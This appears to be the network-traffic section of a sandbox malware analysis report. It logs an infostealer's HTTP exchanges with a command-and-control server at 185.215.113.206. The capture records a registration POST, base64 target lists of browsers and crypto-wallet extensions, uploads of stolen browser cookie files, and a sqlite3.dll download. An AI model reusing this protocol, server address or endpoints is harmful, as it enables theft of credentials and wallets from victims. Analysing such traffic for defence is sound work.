Nov 28, 2024 08:55:20.945513010 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 45 41 45 33 43 44 44 42 37 45 33 31 38 36 32 36 36 35 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="hwid"92EAE3CDDB7E3186266598------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="build"mars------KJJJKFIIIJJJECAAEHDB--
Nov 28, 2024 08:55:21.426028967 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 59 31 4d 6a 63 79 4d 7a 4d 33 4d 32 46 68 5a 44 45 7a 4e 44 4d 79 59 57 52 6d 4e 32 56 6b 5a 6a 67 35 4d 44 56 6c 4d 54 4e 6d 59 54 67 35 4d 6d 4a 6c 4f 47 49 34 59 6a 67 34 59 6a 49 77 5a 44 49 78 5a 47 51 35 4e 54 55 79 4d 32 59 79 4e 6d 5a 68 4d 47 49 30 5a 6a 49 79 4f 57 4d 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MWY1MjcyMzM3M2FhZDEzNDMyYWRmN2VkZjg5MDVlMTNmYTg5MmJlOGI4Yjg4YjIwZDIxZGQ5NTUyM2YyNmZhMGI0ZjIyOWMwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 28, 2024 08:55:21.427665949 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="message"browsers------IIJEBAECGCBKECAAAEBF--
Nov 28, 2024 08:55:21.893852949 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 28, 2024 08:55:21.893898010 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 28, 2024 08:55:21.895538092 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"plugins------DHJDAKEGDBFHCAAKJJJD--
Nov 28, 2024 08:55:22.362241983 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 28, 2024 08:55:22.362272978 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 28, 2024 08:55:22.362283945 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 28, 2024 08:55:22.362442970 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 28, 2024 08:55:22.362456083 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 28, 2024 08:55:22.362468958 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 28, 2024 08:55:22.365267038 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"fplugins------GDHDAEBGCAAFIDGCGDHI--
Nov 28, 2024 08:55:22.831000090 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 28, 2024 08:55:22.852283001 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJE Host: 185.215.113.206 Content-Length: 6087 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 08:55:22.852327108 CET	6087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 Data Ascii: ------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="token"1f52723373aad13432adf7edf8905e13fa892be8b8b88b20d21dd95523f26fa0b4f229c0------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 28, 2024 08:55:23.849476099 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 08:55:23.850950956 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 08:55:24.314902067 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 28, 2024 08:55:24.315006971 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 28, 2024 08:55:24.319171906 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 28, 2024 08:55:24.319262981 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49727	185.215.113.206	80	740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:55:33.651670933 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 35 32 37 32 33 33 37 33 61 61 64 31 33 34 33 32 61 64 66 37 65 64 66 38 39 30 35 65 31 33 66 61 38 39 32 62 65 38 62 38 62 38 38 62 32 30 64 32 31 64 64 39 35 35 32 33 66 32 36 66 61 30 62 34 66 32 32 39 63 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 